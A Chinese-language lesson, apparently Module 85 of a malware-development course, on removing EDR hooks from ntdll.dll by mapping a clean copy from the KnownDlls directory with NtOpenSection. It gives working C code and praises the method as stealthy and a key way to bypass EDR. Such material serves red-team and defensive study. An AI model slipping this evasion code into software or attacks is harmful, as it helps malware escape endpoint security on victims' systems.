模块 85 - NTDLL 取消挂钩 (Unhooking) - 来自 KnownDlls 目录
恶意软件开发课程 - NTDLL 取消挂钩 (Unhooking) - 来自 KnownDlls 目录
模块 85 - NTDLL 取消挂钩 (Unhooking) - 来自 KnownDlls 目录#
NTDLL 取消挂钩 (Unhooking) - 来自 KnownDlls 目录#
简介#
获取干净版本 ntdll.dll 的另一种方法是通过访问 KnownDlls 目录。
💡 初学者提示:什么是 KnownDlls?
类比理解: 想象你每次做饭都要去菜市场(磁盘)买同样的调料。为了快一点,你在厨房的**备餐台(KnownDlls)**上预先摆放了一套常用的调料。
- Windows 也是如此:它会将一些极其常用的 DLL 加载到内存中的一个特殊区域。当新的程序启动需要这些 DLL 时,Windows 直接从内存里的“备餐台”映射过去,而不需要再从慢速的硬盘里读取一份。
- 我们的机会:由于这个备餐台是由系统直接维护的,它通常包含的是最原始、最干净(未被 EDR 挂钩)的 DLL 镜像。
访问 KnownDlls#
在现代 Windows 版本中,KnownDlls 并不是一个真实的磁盘文件夹,而是操作系统内核维护的一个对象目录。你可以使用 Sysinternals 的 WinObj 工具查看其中的内容(通常位于 \KnownDlls 路径下)。
实现细节:利用 NtOpenSection#
由于 KnownDlls 在内核中的独特性,传统的 OpenFileMapping WinAPI 在访问 \KnownDlls\ntdll.dll 时往往会失败。因此,我们需要使用它的底层 Native API(原生 API):NtOpenSection。
NtOpenSection 函数原型#
NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle, // 接收打开的节句柄
IN ACCESS_MASK DesiredAccess, // 访问权限,通常设置为 SECTION_MAP_READ
IN POBJECT_ATTRIBUTES ObjectAttributes // 对象属性,包含路径名
);c为了使用此函数,我们需要使用 InitializeObjectAttributes 宏来初始化 OBJECT_ATTRIBUTES 结构,并将路径指向 \KnownDlls\ntdll.dll。
核心实现:MapNtdllFromKnownDlls#
#define NTDLL L"\\KnownDlls\\ntdll.dll"
// 从 KnownDlls 目录映射干净的 ntdll.dll
BOOL MapNtdllFromKnownDlls(OUT PVOID* ppNtdllBuf) {
HANDLE hSection = NULL;
PBYTE pNtdllBuffer = NULL;
NTSTATUS STATUS = NULL;
UNICODE_STRING UniStr = { 0 };
OBJECT_ATTRIBUTES ObjAtr = { 0 };
// 1. 构造指向 \KnownDlls\ntdll.dll 的 Unicode 字符串
UniStr.Buffer = (PWSTR)NTDLL;
UniStr.Length = wcslen(NTDLL) * sizeof(WCHAR);
UniStr.MaximumLength = UniStr.Length + sizeof(WCHAR);
// 2. 初始化对象属性
InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
// 3. 获取 NtOpenSection 的函数地址 (来自被挂钩的 ntdll)
fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");
// 4. 打开 KnownDlls 中的 ntdll 节
STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAtr);
if (STATUS != 0x00) {
return FALSE;
}
// 5. 将该节映射到本地进程内存空间
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
CloseHandle(hSection);
return FALSE;
}
*ppNtdllBuf = pNtdllBuffer;
if (hSection) CloseHandle(hSection);
return TRUE;
}c替换逻辑#
一旦我们通过上述函数获取了干净的映像基址,就可以像 Module 84 一样调用 ReplaceNtdllTxtSection。
📚 知识扩展:内存对齐的一致性
由于已知 DLL 是以“节” (Section) 的形式被打开并映射的,它的
.text节偏移量将始终保持为 VirtualAddress (通常是 4096)。这意味着在计算替换偏移时,它的逻辑与“磁盘映射”模式完全一致,极大地降低了数据对齐错误的风险。
为什么这个方法更优秀?#
- 更隐蔽:不涉及直接的磁盘文件读取行为(不触发
CreateFile获取System32下文件的警报)。 - 更可信:使用的是系统自身管理并保证一致性的“权威副本”。
- 版本匹配: KnownDlls 中的版本必然与当前运行系统的版本完全一致,避免了从外网下载可能导致的版本冲突。
总结#
利用 KnownDlls 是执行高质量 Unhooking(取消挂钩)的首选实战方案之一。它兼顾了隐蔽性与稳定性,是绕过成熟 EDR 方案的关键技术。